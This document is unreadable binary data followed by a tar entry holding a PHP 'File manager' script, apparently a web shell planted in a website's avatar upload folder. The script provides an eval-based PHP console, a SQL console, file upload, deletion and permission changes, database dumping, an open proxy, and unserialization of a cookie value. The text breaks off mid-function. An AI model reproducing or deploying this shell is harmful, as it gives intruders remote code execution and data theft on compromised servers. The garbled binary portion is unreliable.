�*<Wj䳭Z���<�i��k񰞃O߾�7����X(2�#���:9��Y: �t�9w�uX����=�D��e���e��|�@�:�l�izg˂���[f���h�T�l�TeF]!)�Wfh�4��p�h�IS�87c�"�x���cF�„�	^�tJ>S�j�rߜ^�iz�+(�%�d#‚��gR��f�? ��??M�O#O�D��k�5.�d�Nv���b�9
��a�bB���D���ZLW*lpp0����!u���
��4\u���g�^,ą��r�\|�v���6��Bp`�]	*��+|//��ެ���­^3.���2
���J�JG}t	��a�d��fia
I���\�<��^�Q0���RB+�(f�J�sy��"�h5�&4T{�5�ș��p)��c��D��mrK��(n{X��c��f������(�?��?�Γ��/5�zj�­=�z`G�f�����S��\~@t����8/~�E�T��0+ɕ������cTfX�C}�����s���a+"��R���%a�
7c+�4�WdY�KS�o��S�[�"�ֶ���B��K�e���w�9>�v2#�&�Kι���Ya��3�RGȣޙ���x��.l��W���wC4y^�tT�0�G扪ac�;ɏ;z����va;����F�w��/�.p����iz��q��$7Rԯ�����jm꟥�E0�V��E�C���f����q����F���?���SLdt�f���s|�\�"��~)O>��P�=*�?���Ʒ�C�Ԭ���v���w�r<���5?�J��n���?a{5�:J�!4�!﷞_��Z��@O!�8�?7�v�KW�%:�ё�r��f����lǒ��'g�%����H
yoX���?�Aw�1��O?��
i�)櫙&.��s��)/�K5�}c�=?$7a��Sf���XFu�>��W����}|3$8+##�g8�7��|��P�;f,��*�H��G=�*z�Fb0�! =6O�dv%�Jo����}��h�DT8Qe2�����l��RYjL��K+��u���h�Y�3*�*3оW�(T�3t�����D�Zt:��c��$��x}��Qm����^�z,�
+ԛ��)�HŖ+����'�t��>������l�(-�R���86h�%�m��0	It	�+n$x��ě�D�m/��!���Q���Q}��z 勃��41*�1v���cQn�p+��[��G->,���~"w��=9s8\��ɩ�/=�k��E.>��	o%Z������Y�B?�N2O���GԠ�3X��SnFF�on�bٸґ�^}���/֣�`�'.:���+6�Cҝ����~�V��!Y�a�V?�;��[��i��H ���1|LLr�#=���δ8��0�H"�k�_����!A쁒��=h1h�|E��8��$
@���������ԗ���[�z����?���yv��ԧ��{3?��7IDS��b���_���ۜ�#\7H>��No�	�k���"�c 7o��/�`61?K�h�>��+:
/�|���my����A7�f��R�R�(��~��o��IZ���b�}�p��3��A�I�FՕ�x���MbX�Y~��
������1��]Cʵ�8�}G��r�a0�
Qe�����h���`�@`�����kb�g���j��x룙sjѢ֜�@4},��?6����Ɔn¡��F�xy���TTc��>��'��,���]�j���������$�Phꛇ���}��׈605��kM��%%��:��Yo>QP���
�P[�)��R$�pa�P�B��F0?;��ƷVq��f��#��C�:*e>���iу���p�#���H0�Q	��E`�3y�,�xf�$�{YR(ň�����,y$�K�튻3�s`���
.������>�_A���ߌ�e�f�>]�$�����K4��t��Ģ�
�wpFچ����:���c8wq�gp�����-�eR�$1>H�A��1'���m��
����C�Xs�Ȑ#���VB�_�78���-{~�x�����ðB�bV�x��	��x<��N_��f���	��v��S�s4O������gn�[���D���u+��[�ٝ]�}�-U��niD̹�(�����r�5*/�qI0�K=���͠��\Ds'�2H�M]j���($�>J>�9�����)�C=0q{����=7˖޻�?�q�i��eG�6^��y��)��nY�p�K�⾈ӡ�0��xbVQ���/��ujɠ_�E|���J�D)����7ذ`����=T#͉��⺋�g�2�:t��R[��DX?�����c8I����}/�cb=:
�ߵ�	R4�+�-��E�*�u(�rB���u�;H��Ss,�[u��:��@�g�	�n�V�Q{q��y�f�ˏ\���:�<��F?�+*k���\�gtu�{eh1��_t��xf��%�p��hxi��G�5$�+$K=P�3�Nr�j�wٵ�����o���}��2�u�	��O�ܠ.Ip.��<�#:�N���ѬV,�mיM ��3ۏs���T� �SAs�á�0W�H�#.ҙl._(>�˕�j��h�ڝ��n��xa8���l.ɋ��j��f����p$�'�>��&jW�kfp�����Am�]3#�{���o1蚁hЁ;���F���f�H�*��;�E䦵���5J0���|&�G��e	�|
�1��2�?3Q�W���"�<c�1)|�
�Ա�P7B���\��}�o�`2�j]
�#!�_�E�0�S�/�@Rob�ʇrP��UT�2>E�O�SX��0>�\1�[P�&؀���-���"�j��1J��!��3+�@����V^
sa—�Շ��P���_��I�����;�'0ƴ}f�S��Ǥ�&7��8FI�?��S�tM;��{����e_�X��+ݓ	W�C�c#�8��Qʱ

<3��|&��r�q��hVWo����C����p("��\����D�@��f��o�~Y����go��Hi@�"�����W�G�ʹ*3����-fɋ�L��<�}Pa�P?��*�M��m�O?>��J3k$�8|��UTDP��=��07{H��'�����+�����繀�xv#,W�����L &-~��
�M��AK�[���{O�M$�&���������B+��n�0�4F�S���Ӌ��\կ��e����y��k3�Y����܃�����7Y��V#&��q��;N�KH�����I˔��O��f�0��e�l�[\,,�<F�z�α�-��RZO�I��s���5� ~�i��}������c��ߐb0��+o��4�@�6��`�����0��5�Ԭ5�R���j�>�v�gO��t�q
��P&h}��G��E�8K�a��P8Xh�<�6G�[�#N�?ܤ��F�3��Xq�����
�.���<s����}k��H,�F?f��q�1�{4s����ɥx?9	ö�8��_����`���eJC�{�*-+4EPα�м=�ӄ��OU�,�3�6`���'���J��)�I�����ƹ)��.MT���W<��d���5t�磑�	)��m���x{�F�OH�	ʿ3�O,�q�Yȇ��1�k�~��u2�}�|'#���!�{��#�j���"a��3[�
[������9��]�����~Y������ϱ<�Kx�}F��k0V�OM�s��b蔦�\�%�9^�3�n�����7}|�>� �!
5п��d�MT�{�̼��]�^۞���������A��,��{��g��6�?l8�z�XV�^��LT5�u�����H��$�X���#'�]ҽ��%Bi�x���l����.�SB|�E�vȋ"�X�2�m����0����H7x��z��N�B��F������[�EA�X��˾f\>�)���C�sM�m��5
Ei|V���`�\�@��EG�����o6�hO<��b������:���sD�!5�x�HTc�A�[��S�c}�f����p((��P�+㮙h0de�h/�C+�A/���/J���˔���!�Ha:Mz�l���{��d6�>H"���frӕZk�G{zZ�@��
����B�-b{x��Bg�9{�-�����tvf9�k�R*閚����B�R�I��uk
`J�����Eȹ���L�����U�h�h�p����w��P��;���t�~`�'���Ne<�S�Bu!O����2;�+r����0�j��_���bs0C�f �=ŦX\����:���̤>AC2�k�n�H�gV�F���B���kH�6�ͪ���`Wꪏt+�7!<��(P��& 	�r���M�����0��&Me�`p��*~�tp�ܥ�7n�r���s�Q��㞜DZ�|�Owl����Գ�˹��܈(��J���7�jF��K+�ʐcF�_�e"������%J��5������I6ӥ��
u��5"�u�����fɮs�Bݝ��&?9���&�\w���n��.�/I$��������l����։�|��
X��Q�:�x�xIן������$I�^�&��K�#�0���4��D�
Ȇ��L���
��@�JQ��lhx��r�Q��:�ߌF;�V�D1���Uʈ�@V|���qci:[��o�`�ƱD��Dg�SA �l���+�2��#aز�"f9څ(�"W�Lrdv��d^�G͍���O�0�3�mQQp&+=��{�t�<��S��T��	Z�Q���|��V��?��D)�T����6�}��� ;�\L�ƕy���xz݊�5��/Qu4'W|�ko�88
k�sc
�9pK? 0���
$�J�)��X�e�Dbhd���9s��Y����h}��hN������߾&�A�U��	H�H���(���:�y��2�a-���>&���� :C��c�c�k&H�		t�&�~?I��R�\0N-�"��5�Y���H6:�.�m���t;2`����D�&
Ts�ŮEXA��Q�	c��di�ž�pƍ(luq�Q�03����j�o�0��m&ˊ��`ͥ�C�`>38�U�@�̋E9�?�P�h��N#�Q��FD1�����Q�ޙh>ܟ�2mF��:¡��wt*��:��lڞ������ul��|b����m�	n�&ѷ�(Nx�-U�A+��c�{��ô��C�F��>�3�u�~��:#��ax��k8*��x��Xv��C��=����XI��9M��ɏ�C?5S�}k���O����G,��FX���T띶�c`<�W�$��X;��8�CF^��<D�s��
Q�^o2O*�'Z�2<�0�&{����&��Ǫd�;���,��'z��T��?��g��;j~��n-KlY�f,"�̚.���l����I�]����O�����&�!���I׌9�3�������)�A��&s^�q�_��������Au�nʨs��e��ӓ�D3ĩ=݃��!N;�A�,�N�,lLr��USmV�<��XȌl��z��W�1�7}g19�d�g_4Q�̶b2$?^~�FJ
�uNF��ٹS�q�Q<-5��H��&h �D�^b�9S`}��rNQ@��$���v���e�	c�;�Xg����s��ۿ�
�n�>\�yS�u�U���L��~�q��U��#�,��qdG7���p�EЧplu5��+.�;I�ۀ��d�7F�m�"°��QQ�,;@޶�5�3�F�~PCbz�o3$oW.�,f��\�����D=�y����p~A�$�|�I�\X@��,�s#q�r!z���¡)%��xa=�&�BEIV����d�Π�;Cm����l���kZL\p��_?�툀0{J�	Ec����Blee��'����kն�9��l���z%cGf&yu���9�����[&$[>�[�4�����NVʑ[��d7��
&�K5{>����G놥������Ό�i:,�C.����$�N��d�Bh0�1`4�QH���{2��n���b���5ߑ����Q����g�Il��?�%:��L�w�H��]k0��
�����Յ"J�����`P�����P���a�;kpY�QT�l�4�����X�,�0Yn6X�yJ�3�5�*DӯP0Xqj��2�9��Ӈ�B��a-�4B2�N$����!j�fD
nj�7>,�}wt%�̄��1�ߩ1B�����9�~��P��T��,%qp0`>�
��&�vz��]x�[��WV#4G�=�?�-�N��asj#=�m�-�oM����	����Aӄ�������������1J2��������5@@G�TP�]�oR~`��P-7����h+�r::�y�O��Ɖ�3���إ\�k��;DC��.��Cm��-;�F=�
jGc^�������{�d�����E1��c��S�ϯۨ8=?��,��&���	K5N�{�&�������V~H|���,.����ϲVpq�su���Cӽ��)��M�cjb�}^�7P��Z�]D����%u��t�M_��rul2�8n��[���'��ex:�&��ܬ���(�nZ��+��*>��蛵��Qg=�ŋ�8/�F���<�b���5��!�]����)�`�O��E�2l�����#:��o�g�?�c@�#5p�B�]�1\��K'��^��}ԭ�U�gmsq�� u��3xo�Iˤp0�-�����l�)�����y�`�a
�w��#����n��{�a�#�M����������u-�JV�~�Y�=y
wk�#�a�j&�Q���B���?������?��XҪ�@PK!XҪ�@@4yd0ui/orb3c.php.tarnu�[���var/www/html/back/storage/app/public/avatars/10/4yd0ui/orb3c.php000064400000234756000000000000020230 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
